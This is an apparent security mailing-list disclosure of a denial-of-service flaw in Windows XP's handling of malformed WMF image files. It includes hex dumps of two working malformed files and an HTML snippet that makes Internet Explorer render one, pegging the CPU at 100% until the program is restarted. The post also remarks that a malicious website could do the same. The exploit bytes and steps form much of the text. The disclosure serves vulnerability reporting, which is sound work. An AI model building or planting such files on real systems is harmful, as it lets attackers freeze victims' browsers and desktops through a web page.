<<< Date Index >>>     <<< Thread Index >>>

WindowsXP malformed .wmf files DoS





Here is an example of malformed .wmf file which will cause DoS. Put this file 
in arbitrary folder (be sure that file has .wmf extension, otherwise this 
wouldn't work). Open that folder with Windows Explorer, and just move mouse 
over malformed file. CPU usage will rise to 100%, and stay that way. During 
this condition you can work with explorer, but it behaves very weird. It 
doesn't help if you close all explorer's windows, you must restart 
explorer.exe, only then CPU usage will get down to normal.
Instead of "mouseover" you could doubleclick on file to produce same effect.

Here is .wmf file:

00000000 :01 00 09 00 00 03 0E 00 - 00 00 01 00 05 00 00 00
00000010 :00 00 00 00 00 00 0B 02 - FF FF FF FF

Now, this was "bare" .wmf file, and if you put a link in html pointing to it, 
IE won't render it, and there is no problem. What we need is a placeable 
metafile, and this is one:

00000000 :D7 CD C6 9A 00 00 00 00 - 00 00 A1 21 EC 29 EC 09
00000010 :00 00 00 00 B0 56 01 00 - 09 00 00 03 0E 00 00 00
00000020 :01 00 05 00 00 00 00 00 - 00 00 00 00 0B 02 00 00
00000030 :00 00

To test it with IE, save this file with name "test.wmf", and put next .html in 
same folder:

<html><body><img src="test.wmf"></body></html>

When you open html document, IE will try to render test.wmf and CPU is again on 
100%, and again you have to restart IE to slow it down. Malicious website could 
easily do the same.

This is tested on fully patched WindowsXP SP1. I didn't test this with other 
OSes from windows family but they may be vulnerable too. For basic .wmf file 
structure you may want to look here:

http://www.whisqu.se/per/docs/wmf.htm